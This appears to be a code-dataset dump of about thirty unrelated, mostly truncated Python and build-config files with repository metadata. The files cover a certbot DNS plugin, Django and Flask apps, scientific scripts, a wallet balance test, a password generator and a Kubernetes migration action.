"""Common code for DNS Authenticator Plugins.""" import abc import logging import os import stat from time import sleep import configobj import zope.interface from acme import challenges from certbot import errors from certbot import interfaces from certbot.display import ops from certbot.display import util as disp...
35.404321
107
0.648418
import abc import logging import os import stat from time import sleep import configobj import zope.interface from acme import challenges from certbot import errors from certbot import interfaces from certbot.display import ops from certbot.display import util as display_util from certbot.plugins import common logg...
true
true
f7190714a40b489705d1a2f0f757254156b06f7f
1,247
py
Python
crawler/pdf.py
mental689/paddict
493268b62531c698687d42416edf61c602250133
[ "MIT" ]
1
2019-06-22T10:28:21.000Z
2019-06-22T10:28:21.000Z
crawler/pdf.py
mental689/paddict
493268b62531c698687d42416edf61c602250133
[ "MIT" ]
4
2020-09-05T01:48:18.000Z
2022-03-02T04:29:25.000Z
crawler/pdf.py
mental689/paddict
493268b62531c698687d42416edf61c602250133
[ "MIT" ]
null
null
null
#import PyPDF2 # PyPDF2 extracts texts from PDF markup. We found that it worked relatively poor with CVPR papers. Spaces between words are often omitted in the outputs. import textract # textract uses external OCR command "tesseract" to extract texts. The workflow is to first convert pdf files to ppm images and then ap...
34.638889
176
0.715317
import textract from nltk.tokenize import word_tokenize import os, re import django django.setup() from papers.settings import BASE_DIR import xml.etree.ElementTree as ET def get_stopwords(): with open("{}/static/stopwords.txt".format(BASE_DIR)) as f: stopwords = [w.strip() for w in f.readlines()] re...
true
true
f71907581411d3f59e6caa7fc154349051e25a21
11,381
gyp
Python
skia/skia_library_opts.gyp
shaochangbin/chromium-crosswalk
634d34e4cf82b4f7400357c53ec12efaffe94add
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
2
2019-01-16T03:57:28.000Z
2021-01-23T15:29:45.000Z
skia/skia_library_opts.gyp
shaochangbin/chromium-crosswalk
634d34e4cf82b4f7400357c53ec12efaffe94add
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
skia/skia_library_opts.gyp
shaochangbin/chromium-crosswalk
634d34e4cf82b4f7400357c53ec12efaffe94add
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
1
2017-03-15T13:21:38.000Z
2017-03-15T13:21:38.000Z
# Copyright 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. # This gyp file contains the platform-specific optimizations for Skia { 'targets': [ # Due to an unfortunate intersection of lameness between gcc and ...
39.517361
103
0.549864
{ 'targets': [ # else). However, to keep the .gyp file simple and avoid platform-specific # build breakage, we do this on all platforms. # For about the same reason, we need to compile the ARM opts files # separately as well. { 'target_...
true
true
f71907adad9d2ae1000384e3083a6e18b87ab471
98
py
Python
Solution/90.py
pallavimr12/Python_Levelwise_Exercises
4090437b537260be2eca06c8d52d3a2bba1f5a5e
[ "BSD-3-Clause" ]
2
2020-10-23T10:55:58.000Z
2020-11-24T04:26:23.000Z
Solution/90.py
pallavimr12/Python_Levelwise_Exercises
4090437b537260be2eca06c8d52d3a2bba1f5a5e
[ "BSD-3-Clause" ]
null
null
null
Solution/90.py
pallavimr12/Python_Levelwise_Exercises
4090437b537260be2eca06c8d52d3a2bba1f5a5e
[ "BSD-3-Clause" ]
2
2020-11-19T06:37:29.000Z
2022-01-18T14:36:46.000Z
set1=set([1,3,6,78,35,55]) set2=set([12,24,35,24,88,120,155]) set1 &= set2 li=list(set1) print(li)
19.6
34
0.653061
set1=set([1,3,6,78,35,55]) set2=set([12,24,35,24,88,120,155]) set1 &= set2 li=list(set1) print(li)
true
true
f71908625209dd39e30f636c7b0dfff45f945d88
2,104
py
Python
runtests.py
timgates42/django-spillway
f5700e21e545106005a99ba0804f7d6c88038553
[ "BSD-3-Clause" ]
62
2015-01-20T22:21:09.000Z
2019-11-25T12:57:53.000Z
runtests.py
timgates42/django-spillway
f5700e21e545106005a99ba0804f7d6c88038553
[ "BSD-3-Clause" ]
24
2015-01-07T00:03:10.000Z
2021-06-10T17:34:35.000Z
runtests.py
timgates42/django-spillway
f5700e21e545106005a99ba0804f7d6c88038553
[ "BSD-3-Clause" ]
19
2015-01-12T18:08:29.000Z
2020-08-10T17:16:31.000Z
#!/usr/bin/env python import os import sys import shutil import tempfile import traceback from django.conf import settings import django TMPDIR = tempfile.mkdtemp(prefix='spillway_') DEFAULT_SETTINGS = { 'INSTALLED_APPS': ( 'django.contrib.staticfiles', 'django.contrib.gis', 'rest_framewo...
26.632911
79
0.626901
import os import sys import shutil import tempfile import traceback from django.conf import settings import django TMPDIR = tempfile.mkdtemp(prefix='spillway_') DEFAULT_SETTINGS = { 'INSTALLED_APPS': ( 'django.contrib.staticfiles', 'django.contrib.gis', 'rest_framework', 'spillway...
true
true
f71908676eab5124d188403862efaa148addfb00
3,684
py
Python
tests/test_filters.py
Ryanb58/algoliaqb
d92a29e46d3ab4fd84685835a2b858e3ba8aecbb
[ "MIT" ]
4
2020-08-28T19:22:02.000Z
2020-09-04T21:12:43.000Z
tests/test_filters.py
Ryanb58/algoliaqb
d92a29e46d3ab4fd84685835a2b858e3ba8aecbb
[ "MIT" ]
3
2020-08-31T16:05:47.000Z
2020-09-11T16:31:24.000Z
tests/test_filters.py
Ryanb58/algoliaqb
d92a29e46d3ab4fd84685835a2b858e3ba8aecbb
[ "MIT" ]
null
null
null
from algoliaqb import AlgoliaQueryBuilder def test_normal_filters(): aqb = AlgoliaQueryBuilder( search_param="search", filter_map={ "is_reported": "is_reported" } ) flask_request_args = { "is_reported": True } filter_query = aqb.get_filter_query(flask_...
26.695652
97
0.575461
from algoliaqb import AlgoliaQueryBuilder def test_normal_filters(): aqb = AlgoliaQueryBuilder( search_param="search", filter_map={ "is_reported": "is_reported" } ) flask_request_args = { "is_reported": True } filter_query = aqb.get_filter_query(flask_...
true
true
f7190a9265422f741faef15c4be15a7052a9510b
7,314
py
Python
data/IXI_HH/download_IXI_HH.py
sambuddinc/DLTK
9511b0b9860118a9285c2fe730ea49dfe247cab6
[ "Apache-2.0" ]
null
null
null
data/IXI_HH/download_IXI_HH.py
sambuddinc/DLTK
9511b0b9860118a9285c2fe730ea49dfe247cab6
[ "Apache-2.0" ]
null
null
null
data/IXI_HH/download_IXI_HH.py
sambuddinc/DLTK
9511b0b9860118a9285c2fe730ea49dfe247cab6
[ "Apache-2.0" ]
1
2021-04-29T03:01:53.000Z
2021-04-29T03:01:53.000Z
# -*- coding: utf-8 -*- """Download and extract the IXI Hammersmith Hospital 3T dataset url: http://brain-development.org/ixi-dataset/ ref: IXI – Information eXtraction from Images (EPSRC GR/S21533/02) """ from __future__ import unicode_literals from __future__ import print_function from __future__ import division fr...
35.852941
92
0.649439
from __future__ import unicode_literals from __future__ import print_function from __future__ import division from __future__ import absolute_import from future.standard_library import install_aliases install_aliases() from urllib.request import FancyURLopener import os.path import tarfile import pandas as pd import...
true
true
f7190ba74292947809c2128ff0aaecac93157a21
815
py
Python
src/configs/model_id_opts.py
rgalhama/public_ICCM2021
6a528a26c649da0843b7acbc785aa99b80d29a74
[ "MIT" ]
null
null
null
src/configs/model_id_opts.py
rgalhama/public_ICCM2021
6a528a26c649da0843b7acbc785aa99b80d29a74
[ "MIT" ]
null
null
null
src/configs/model_id_opts.py
rgalhama/public_ICCM2021
6a528a26c649da0843b7acbc785aa99b80d29a74
[ "MIT" ]
null
null
null
""" Author : Raquel G. Alhama Desc: """ def strid_to_opts(strid): """ Given model id as string, extract parameter dictionary. Reverse of config_loader.opts2strid :param strid: :return: """ raise NotImplementedError #Method not finished parts = strid.split("_") param_keys=",".s...
22.638889
76
0.516564
def strid_to_opts(strid): raise NotImplementedError parts = strid.split("_") param_keys=",".split("thr,win,dim,neg,dim,size,eig,neg,dyn,cds") d={} for i,part in enumerate(parts): if part == 'post': pass elif part in param_keys: if i<len(parts) and not p...
true
true
f7190ed8730fa9282a09a7f7c60f4b60d4d29e2d
3,453
py
Python
hotelReservation/scripts/cpu_breakdown.py
Romero027/DeathStarBench
185b61851b7a89277c0c2c1845e18776a9dd7201
[ "Apache-2.0" ]
null
null
null
hotelReservation/scripts/cpu_breakdown.py
Romero027/DeathStarBench
185b61851b7a89277c0c2c1845e18776a9dd7201
[ "Apache-2.0" ]
null
null
null
hotelReservation/scripts/cpu_breakdown.py
Romero027/DeathStarBench
185b61851b7a89277c0c2c1845e18776a9dd7201
[ "Apache-2.0" ]
null
null
null
import re import subprocess import argparse import statistics from pathlib import Path def parse_args(): parser = argparse.ArgumentParser() parser.add_argument('--proxy', type=str, default='tcp', help='proxy type (none, tcp, http or grpc)') parser.add_argument('--app', type=str, help='the name of the appli...
40.151163
159
0.645526
import re import subprocess import argparse import statistics from pathlib import Path def parse_args(): parser = argparse.ArgumentParser() parser.add_argument('--proxy', type=str, default='tcp', help='proxy type (none, tcp, http or grpc)') parser.add_argument('--app', type=str, help='the name of the appli...
true
true
f7190f849149f54de70d0c91038ddc9c7fabd157
10,482
py
Python
sccloud/misc/misc.py
klarman-cell-observatory/scCloud.py
5a04a2f22574db044d018656ac4705ec83840226
[ "BSD-3-Clause" ]
3
2019-07-29T12:30:28.000Z
2019-09-20T17:15:35.000Z
sccloud/misc/misc.py
klarman-cell-observatory/scCloud.py
5a04a2f22574db044d018656ac4705ec83840226
[ "BSD-3-Clause" ]
3
2019-07-24T15:07:31.000Z
2019-08-29T13:57:36.000Z
sccloud/misc/misc.py
klarman-cell-observatory/scCloud.py
5a04a2f22574db044d018656ac4705ec83840226
[ "BSD-3-Clause" ]
3
2019-07-24T22:50:34.000Z
2020-12-08T01:19:34.000Z
import numpy as np import pandas as pd from typing import List from anndata import AnnData from sccloud.io import read_input def search_genes( data: AnnData, gene_list: List[str], rec_key: str = "de_res", measure: str = "percentage", ) -> pd.DataFrame: """Extract and display gene expressions for ...
34.367213
244
0.592253
import numpy as np import pandas as pd from typing import List from anndata import AnnData from sccloud.io import read_input def search_genes( data: AnnData, gene_list: List[str], rec_key: str = "de_res", measure: str = "percentage", ) -> pd.DataFrame: columns = [x for x in data.varm[rec_key].dt...
true
true
f7190fdf620a3e284b95e4499bf5b802e62fd1c4
247
py
Python
contacts/permissions.py
neyona/underwaterfortunes
a48bedc7e25815dea87f743dae21d046d842c713
[ "MIT" ]
null
null
null
contacts/permissions.py
neyona/underwaterfortunes
a48bedc7e25815dea87f743dae21d046d842c713
[ "MIT" ]
1
2020-05-21T13:54:06.000Z
2020-05-21T13:54:06.000Z
contacts/permissions.py
neyona/underwaterfortunes-2020-version
a48bedc7e25815dea87f743dae21d046d842c713
[ "MIT" ]
null
null
null
from rest_framework import permissions class AllPostsPermissions(permissions.BasePermission): def has_object_permission(self, request, add, obj): if request.method == "POST": return self.create(request, *args, **kwargs)
27.444444
56
0.716599
from rest_framework import permissions class AllPostsPermissions(permissions.BasePermission): def has_object_permission(self, request, add, obj): if request.method == "POST": return self.create(request, *args, **kwargs)
true
true
f71910f3f64e997f951989fb3e889101f8494f4f
4,750
py
Python
src/callbacks.py
SyedAbidi1/BayesianRLForAutonomousDriving
290595683666bb27efba1950fa42306200d6f553
[ "MIT" ]
null
null
null
src/callbacks.py
SyedAbidi1/BayesianRLForAutonomousDriving
290595683666bb27efba1950fa42306200d6f553
[ "MIT" ]
null
null
null
src/callbacks.py
SyedAbidi1/BayesianRLForAutonomousDriving
290595683666bb27efba1950fa42306200d6f553
[ "MIT" ]
null
null
null
import numpy as np from rl.callbacks import Callback class SaveWeights(Callback): """ Callback to regularly save the weights of the neural network. The weights are only saved after an episode has ended, so not exactly at the specified saving frequency. Args: save_freq (int): Training steps b...
43.577982
119
0.592
import numpy as np from rl.callbacks import Callback class SaveWeights(Callback): """ Callback to regularly save the weights of the neural network. The weights are only saved after an episode has ended, so not exactly at the specified saving frequency. Args: save_freq (int): Training steps b...
false
true
f71911522998ef6b2724c6a05886367f69c73b79
4,438
py
Python
test/test_series_io.py
waldo2590/thunder
967ff8f3e7c2fabe1705743d95eb2746d4329786
[ "Apache-2.0" ]
650
2015-01-21T02:27:58.000Z
2022-03-01T11:10:44.000Z
test/test_series_io.py
gopikasula/thunder
967ff8f3e7c2fabe1705743d95eb2746d4329786
[ "Apache-2.0" ]
264
2015-01-20T21:32:41.000Z
2021-02-28T15:39:01.000Z
test/test_series_io.py
gopikasula/thunder
967ff8f3e7c2fabe1705743d95eb2746d4329786
[ "Apache-2.0" ]
179
2015-01-20T10:02:04.000Z
2021-02-24T12:59:58.000Z
import pytest import os import glob import json from numpy import arange, array, allclose, save, savetxt from bolt import array as barray from thunder.series.readers import fromarray, fromtext, frombinary, fromexample pytestmark = pytest.mark.usefixtures("eng") def test_from_array(eng): a = arange(8, dtype='int...
31.475177
79
0.627084
import pytest import os import glob import json from numpy import arange, array, allclose, save, savetxt from bolt import array as barray from thunder.series.readers import fromarray, fromtext, frombinary, fromexample pytestmark = pytest.mark.usefixtures("eng") def test_from_array(eng): a = arange(8, dtype='int...
true
true
f7191170b0bfdbd298bb18d8948c15bf555fe1c0
17,715
py
Python
packs/kubernetes/actions/migrate_cluster.py
pearsontechnology/st2contrib
f60ff517079b91de7ee84fdf91cd742784e2731e
[ "Apache-2.0" ]
5
2016-10-11T11:52:53.000Z
2017-06-15T05:21:05.000Z
packs/kubernetes/actions/migrate_cluster.py
pearsontechnology/st2contrib
f60ff517079b91de7ee84fdf91cd742784e2731e
[ "Apache-2.0" ]
25
2016-07-28T17:50:35.000Z
2017-09-25T09:26:18.000Z
packs/kubernetes/actions/migrate_cluster.py
pearsontechnology/st2contrib
f60ff517079b91de7ee84fdf91cd742784e2731e
[ "Apache-2.0" ]
1
2017-05-05T19:12:01.000Z
2017-05-05T19:12:01.000Z
import json import importlib from datetime import datetime import time from st2actions.runners.pythonrunner import Action def json_serial(obj): """JSON serializer for objects not serializable by default json code""" if isinstance(obj, datetime): serial = obj.isoformat() return serial rai...
46.253264
170
0.508439
import json import importlib from datetime import datetime import time from st2actions.runners.pythonrunner import Action def json_serial(obj): """JSON serializer for objects not serializable by default json code""" if isinstance(obj, datetime): serial = obj.isoformat() return serial rai...
false
true
f719124569af67768775e9d2f1c0b713b0b7a884
4,855
py
Python
sasmodels/models/pearl_necklace.py
jmborr/sasmodels
bedb9b0fed4f3f4bc2bbfa5878de6f2b6fdfbcc9
[ "BSD-3-Clause" ]
null
null
null
sasmodels/models/pearl_necklace.py
jmborr/sasmodels
bedb9b0fed4f3f4bc2bbfa5878de6f2b6fdfbcc9
[ "BSD-3-Clause" ]
null
null
null
sasmodels/models/pearl_necklace.py
jmborr/sasmodels
bedb9b0fed4f3f4bc2bbfa5878de6f2b6fdfbcc9
[ "BSD-3-Clause" ]
1
2021-04-28T14:21:17.000Z
2021-04-28T14:21:17.000Z
r""" This model provides the form factor for a pearl necklace composed of two elements: *N* pearls (homogeneous spheres of radius *R*) freely jointed by *M* rods (like strings - with a total mass *Mw* = *M* \* *m*\ :sub:`r` + *N* \* *m*\ :sub:`s`, and the string segment length (or edge separation) *l* (= *A* - 2\ *R*))...
37.346154
80
0.612976
from numpy import inf, pi name = "pearl_necklace" title = "Colloidal spheres chained together with no preferential orientation" description = """ Calculate form factor for Pearl Necklace Model [Macromol. Symp. 2004, 211, 25-42] Parameters: background:background scale: scale factor sld: the SLD of the pearl spheres sl...
true
true
f719129263fd17bc4e3b23fe0f051e771ce36bbd
1,835
py
Python
demo_site/routes.py
ArtemiiH/ppl_eraser_demo_site
42555a3c74abc434c1ad7ff62cddc822d0a35ce8
[ "MIT" ]
null
null
null
demo_site/routes.py
ArtemiiH/ppl_eraser_demo_site
42555a3c74abc434c1ad7ff62cddc822d0a35ce8
[ "MIT" ]
null
null
null
demo_site/routes.py
ArtemiiH/ppl_eraser_demo_site
42555a3c74abc434c1ad7ff62cddc822d0a35ce8
[ "MIT" ]
null
null
null
import urllib from io import BytesIO import requests from flask import (Blueprint, current_app, jsonify, make_response, render_template, request) from .helpers import prepare_image_for_json bp = Blueprint('routes', __name__, url_prefix='') @bp.route('/', methods=['GET']) def home(): return r...
33.363636
71
0.646866
import urllib from io import BytesIO import requests from flask import (Blueprint, current_app, jsonify, make_response, render_template, request) from .helpers import prepare_image_for_json bp = Blueprint('routes', __name__, url_prefix='') @bp.route('/', methods=['GET']) def home(): return r...
true
true
f719132b31b09ec071c7f06ba0c074e2c1965b39
560
py
Python
password generator.py
JoseRoberto1506/Password-generator
47045b6a2de4dd609874dfce0077e9e30ac5cade
[ "MIT" ]
null
null
null
password generator.py
JoseRoberto1506/Password-generator
47045b6a2de4dd609874dfce0077e9e30ac5cade
[ "MIT" ]
null
null
null
password generator.py
JoseRoberto1506/Password-generator
47045b6a2de4dd609874dfce0077e9e30ac5cade
[ "MIT" ]
null
null
null
from string import ascii_letters, digits from secrets import choice lenght = int(input("Você deseja uma senha de quantos caracteres? ")) special_characters = "!#$%&()*+,-./:;<=>?@[\]_{|}." characters = ascii_letters + special_characters + digits while True: password = ''.join(choice(characters) for i in range (le...
32.941176
68
0.666071
from string import ascii_letters, digits from secrets import choice lenght = int(input("Você deseja uma senha de quantos caracteres? ")) special_characters = "!#$%&()*+,-./:;<=>?@[\]_{|}." characters = ascii_letters + special_characters + digits while True: password = ''.join(choice(characters) for i in range (le...
true
true
f71913c1c96aa7dfd421ab759af0daac0e1f61ed
1,109
py
Python
mono2micro/ebc-application/ebc-data_dependencies/dynamic_dependencies/order_dependencies.py
jahn18/Normalized-TurboMQ
f44d85dca15d86a82e15b083072e05698135e479
[ "MIT" ]
null
null
null
mono2micro/ebc-application/ebc-data_dependencies/dynamic_dependencies/order_dependencies.py
jahn18/Normalized-TurboMQ
f44d85dca15d86a82e15b083072e05698135e479
[ "MIT" ]
null
null
null
mono2micro/ebc-application/ebc-data_dependencies/dynamic_dependencies/order_dependencies.py
jahn18/Normalized-TurboMQ
f44d85dca15d86a82e15b083072e05698135e479
[ "MIT" ]
null
null
null
import csv import sys def orderEdges(fileName): dynamic_dependencies_file = open(fileName) csv_reader = csv.reader(dynamic_dependencies_file) list_of_edges = [] for row in csv_reader: list_of_edges.append(row[0].split()) sortedList = insertionSort(list_of_edges) return sortedList def w...
29.972973
83
0.680794
import csv import sys def orderEdges(fileName): dynamic_dependencies_file = open(fileName) csv_reader = csv.reader(dynamic_dependencies_file) list_of_edges = [] for row in csv_reader: list_of_edges.append(row[0].split()) sortedList = insertionSort(list_of_edges) return sortedList def w...
true
true
f719145474888494e028913c2c5ae60602cf70ac
1,826
py
Python
azure-mgmt-network/azure/mgmt/network/v2018_01_01/models/application_gateway_ssl_predefined_policy.py
JonathanGailliez/azure-sdk-for-python
f0f051bfd27f8ea512aea6fc0c3212ee9ee0029b
[ "MIT" ]
1
2022-03-30T22:39:15.000Z
2022-03-30T22:39:15.000Z
azure-mgmt-network/azure/mgmt/network/v2018_01_01/models/application_gateway_ssl_predefined_policy.py
JonathanGailliez/azure-sdk-for-python
f0f051bfd27f8ea512aea6fc0c3212ee9ee0029b
[ "MIT" ]
54
2016-03-25T17:25:01.000Z
2018-10-22T17:27:54.000Z
azure-mgmt-network/azure/mgmt/network/v2018_01_01/models/application_gateway_ssl_predefined_policy.py
JonathanGailliez/azure-sdk-for-python
f0f051bfd27f8ea512aea6fc0c3212ee9ee0029b
[ "MIT" ]
2
2017-01-20T18:25:46.000Z
2017-05-12T21:31:47.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes ...
40.577778
88
0.64184
from .sub_resource import SubResource class ApplicationGatewaySslPredefinedPolicy(SubResource): _attribute_map = { 'id': {'key': 'id', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'cipher_suites': {'key': 'properties.cipherSuites', 'type': '[str]'}, 'min_protocol_versi...
true
true
f71914c4aecc58a1fc572531f55a0757d52c5800
3,271
py
Python
youtube_synchronizer/interfaces/youtube-playlist-synchronizer.py
entangledcognition/youtube-playlist-syncronizer
ff4bc8b0e49a2b51194405731dc3c4b5cf7b3ce8
[ "MIT" ]
1
2020-01-26T01:31:08.000Z
2020-01-26T01:31:08.000Z
youtube_synchronizer/interfaces/youtube-playlist-synchronizer.py
entangledcognition/youtube-playlist-syncronizer
ff4bc8b0e49a2b51194405731dc3c4b5cf7b3ce8
[ "MIT" ]
1
2020-01-26T01:38:48.000Z
2020-01-26T01:38:48.000Z
youtube_synchronizer/interfaces/youtube-playlist-synchronizer.py
bharathmuppa/youtube-playlist-syncronizer
ff4bc8b0e49a2b51194405731dc3c4b5cf7b3ce8
[ "MIT" ]
null
null
null
from PIL import Image, ImageTk from tkinter import Tk, Text, BOTH, W, N, E, S,filedialog,messagebox from tkinter.ttk import Frame, Button, Label, Style, Progressbar from youtube_synchronizer.utils import createFolderForPlaylist from youtube_synchronizer.dataconnectors.youtube_login import loginToGoogle class YoutubeF...
37.170455
168
0.634668
from PIL import Image, ImageTk from tkinter import Tk, Text, BOTH, W, N, E, S,filedialog,messagebox from tkinter.ttk import Frame, Button, Label, Style, Progressbar from youtube_synchronizer.utils import createFolderForPlaylist from youtube_synchronizer.dataconnectors.youtube_login import loginToGoogle class YoutubeF...
true
true
f71914f55a893db82056922f6a48c469c030a16d
559
py
Python
libs/sync_bn/src/__init__.py
hx-Tang/GANet
8935c9d3d82189fa6f940c2a877534a398a041e4
[ "MIT" ]
497
2019-04-16T02:43:06.000Z
2022-03-13T10:26:12.000Z
libs/sync_bn/src/__init__.py
hx-Tang/GANet
8935c9d3d82189fa6f940c2a877534a398a041e4
[ "MIT" ]
103
2019-04-18T07:28:58.000Z
2021-12-22T08:45:16.000Z
libs/sync_bn/src/__init__.py
hx-Tang/GANet
8935c9d3d82189fa6f940c2a877534a398a041e4
[ "MIT" ]
146
2019-04-22T13:39:41.000Z
2022-03-26T03:32:42.000Z
import os import torch from torch.utils.cpp_extension import load cwd = os.path.dirname(os.path.realpath(__file__)) cpu_path = os.path.join(cwd, 'cpu') gpu_path = os.path.join(cwd, 'gpu') cpu = load('sync_bn_cpu', [ os.path.join(cpu_path, 'operator.cpp'), os.path.join(cpu_path, 'sync_bn.cpp'), ], build_direct...
29.421053
50
0.695886
import os import torch from torch.utils.cpp_extension import load cwd = os.path.dirname(os.path.realpath(__file__)) cpu_path = os.path.join(cwd, 'cpu') gpu_path = os.path.join(cwd, 'gpu') cpu = load('sync_bn_cpu', [ os.path.join(cpu_path, 'operator.cpp'), os.path.join(cpu_path, 'sync_bn.cpp'), ], build_direct...
true
true
f719157c0ed0ea389406cf401792444090c08f94
725
py
Python
tests/utils/test_utils_django.py
bitcaster-io/bitcaster
9f1bad96e00e3bc78a22451731e231d30662b166
[ "BSD-3-Clause" ]
4
2018-03-01T10:22:30.000Z
2020-04-04T16:31:11.000Z
tests/utils/test_utils_django.py
bitcaster-io/bitcaster
9f1bad96e00e3bc78a22451731e231d30662b166
[ "BSD-3-Clause" ]
60
2018-05-20T04:42:32.000Z
2022-02-10T17:03:37.000Z
tests/utils/test_utils_django.py
bitcaster-io/bitcaster
9f1bad96e00e3bc78a22451731e231d30662b166
[ "BSD-3-Clause" ]
1
2018-08-04T05:06:45.000Z
2018-08-04T05:06:45.000Z
from unittest import mock from unittest.mock import Mock from bitcaster.utils.django import (activator_factory, deactivator_factory, toggler_factory,) def test_toggler_factory(): with mock.patch('bitcaster.utils.django.get_connection'): func = toggler_factory('test') ...
30.208333
74
0.670345
from unittest import mock from unittest.mock import Mock from bitcaster.utils.django import (activator_factory, deactivator_factory, toggler_factory,) def test_toggler_factory(): with mock.patch('bitcaster.utils.django.get_connection'): func = toggler_factory('test') ...
true
true
f719162b3d3e8d2a126762c598211bece33424a9
334
py
Python
experiments/jacobi-1d/tmp_files/4223.py
LoopTilingBenchmark/benchmark
52a3d2e70216552a498fd91de02a2fa9cb62122c
[ "BSD-2-Clause" ]
null
null
null
experiments/jacobi-1d/tmp_files/4223.py
LoopTilingBenchmark/benchmark
52a3d2e70216552a498fd91de02a2fa9cb62122c
[ "BSD-2-Clause" ]
null
null
null
experiments/jacobi-1d/tmp_files/4223.py
LoopTilingBenchmark/benchmark
52a3d2e70216552a498fd91de02a2fa9cb62122c
[ "BSD-2-Clause" ]
null
null
null
from chill import * source('/uufs/chpc.utah.edu/common/home/u1142914/lib/ytopt_vinu/polybench/polybench-code/stencils/jacobi-1d/kernel.c') destination('/uufs/chpc.utah.edu/common/home/u1142914/lib/ytopt_vinu/experiments/jacobi-1d/tmp_files/4223.c') procedure('kernel_jacobi_1d') loop(0) known(' n > 2 ') tile(0,2,8,2) ...
30.363636
118
0.763473
from chill import * source('/uufs/chpc.utah.edu/common/home/u1142914/lib/ytopt_vinu/polybench/polybench-code/stencils/jacobi-1d/kernel.c') destination('/uufs/chpc.utah.edu/common/home/u1142914/lib/ytopt_vinu/experiments/jacobi-1d/tmp_files/4223.c') procedure('kernel_jacobi_1d') loop(0) known(' n > 2 ') tile(0,2,8,2) ...
true
true
f71916c16a3387a714ba74da62f20782e4f9fe3d
7,539
py
Python
core/views.py
ICFL-UP/Yrden
88c421f1b391e9a6943455b05b8f397e9023187b
[ "MIT" ]
null
null
null
core/views.py
ICFL-UP/Yrden
88c421f1b391e9a6943455b05b8f397e9023187b
[ "MIT" ]
6
2022-02-16T06:08:43.000Z
2022-02-16T06:08:55.000Z
core/views.py
ICFL-UP/Yrden
88c421f1b391e9a6943455b05b8f397e9023187b
[ "MIT" ]
null
null
null
import logging import os import json import shutil import threading from typing import Any, List from django.contrib.auth import login from django.forms.models import BaseModelForm from django.http.request import HttpRequest from django.http.response import HttpResponse from django.views.generic import ListView, Detai...
38.464286
110
0.67635
import logging import os import json import shutil import threading from typing import Any, List from django.contrib.auth import login from django.forms.models import BaseModelForm from django.http.request import HttpRequest from django.http.response import HttpResponse from django.views.generic import ListView, Detai...
true
true
f71916d9d2b9a6b8eedcdd508d02ad5f7bc188ca
9,543
py
Python
examples/LJ_38_Oh.py
scottfredericks/PyXtal_Old
3fa39b2f188197b42576087c6f4c3bca14b2e8f3
[ "MIT" ]
1
2019-10-25T01:10:47.000Z
2019-10-25T01:10:47.000Z
examples/LJ_38_Oh.py
scottfredericks/PyXtal_Old
3fa39b2f188197b42576087c6f4c3bca14b2e8f3
[ "MIT" ]
null
null
null
examples/LJ_38_Oh.py
scottfredericks/PyXtal_Old
3fa39b2f188197b42576087c6f4c3bca14b2e8f3
[ "MIT" ]
null
null
null
from pyxtal.crystal import random_cluster from copy import deepcopy from optparse import OptionParser from random import randint, choice from scipy.optimize import minimize from scipy.spatial.distance import pdist, cdist from pyxtal.molecule import PointGroupAnalyzer from pymatgen import Molecule from pyxtal.database.c...
33.250871
119
0.551085
from pyxtal.crystal import random_cluster from copy import deepcopy from optparse import OptionParser from random import randint, choice from scipy.optimize import minimize from scipy.spatial.distance import pdist, cdist from pyxtal.molecule import PointGroupAnalyzer from pymatgen import Molecule from pyxtal.database.c...
true
true
f7191733ac9155fe9da162a2124c9882e8a0a396
12,464
py
Python
test/functional/wallet_balance.py
bitcorub/bitrub
28711e4e8ebdee144a1437ece07afcf792a7cf60
[ "MIT" ]
1
2019-12-09T18:33:47.000Z
2019-12-09T18:33:47.000Z
test/functional/wallet_balance.py
bitcorub/bitrub
28711e4e8ebdee144a1437ece07afcf792a7cf60
[ "MIT" ]
null
null
null
test/functional/wallet_balance.py
bitcorub/bitrub
28711e4e8ebdee144a1437ece07afcf792a7cf60
[ "MIT" ]
1
2019-12-12T20:05:36.000Z
2019-12-12T20:05:36.000Z
#!/usr/bin/env python3 # Copyright (c) 2018-2019 The BitRub Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test the wallet balance RPC methods.""" from decimal import Decimal import struct from test_framework.a...
47.572519
153
0.656611
from decimal import Decimal import struct from test_framework.address import ADDRESS_BCRT1_UNSPENDABLE as ADDRESS_WATCHONLY from test_framework.test_framework import BitRubTestFramework from test_framework.util import ( assert_equal, assert_raises_rpc_error, connect_nodes, sync_blocks, ) def create_t...
true
true
f719173f8124d167cfa365f834dbc8b7c61362f6
247
py
Python
insurance/urls.py
paulohenriquesi/origin_python
f8f824ccda46a66da93e43bb269803b0d0ee7c99
[ "MIT" ]
null
null
null
insurance/urls.py
paulohenriquesi/origin_python
f8f824ccda46a66da93e43bb269803b0d0ee7c99
[ "MIT" ]
3
2021-03-19T01:18:39.000Z
2021-04-08T19:55:26.000Z
insurance/urls.py
paulohenriquesi/origin_python
f8f824ccda46a66da93e43bb269803b0d0ee7c99
[ "MIT" ]
null
null
null
from django.contrib import admin from django.urls import path, include from api import views urlpatterns = [ path('admin/', admin.site.urls), path('api-auth/', include('rest_framework.urls')), path('riskcalc', views.calculate_risk) ]
24.7
54
0.716599
from django.contrib import admin from django.urls import path, include from api import views urlpatterns = [ path('admin/', admin.site.urls), path('api-auth/', include('rest_framework.urls')), path('riskcalc', views.calculate_risk) ]
true
true
f719184d0965b1afb362f1bed12ae11aa08d5a1a
2,600
py
Python
gamestonk_terminal/behavioural_analysis/finnhub_view.py
shanedrinion/GamestonkTerminal
baf36aa7c96de6918911c7a263cf5ac9648b27e3
[ "MIT" ]
1
2021-12-17T19:25:12.000Z
2021-12-17T19:25:12.000Z
gamestonk_terminal/behavioural_analysis/finnhub_view.py
lolrenx/GamestonkTerminal
eb2b0d766bf1b6bb8656d6733083962efb152fe2
[ "MIT" ]
1
2021-04-20T00:26:20.000Z
2021-04-20T00:26:20.000Z
gamestonk_terminal/behavioural_analysis/finnhub_view.py
lolrenx/GamestonkTerminal
eb2b0d766bf1b6bb8656d6733083962efb152fe2
[ "MIT" ]
null
null
null
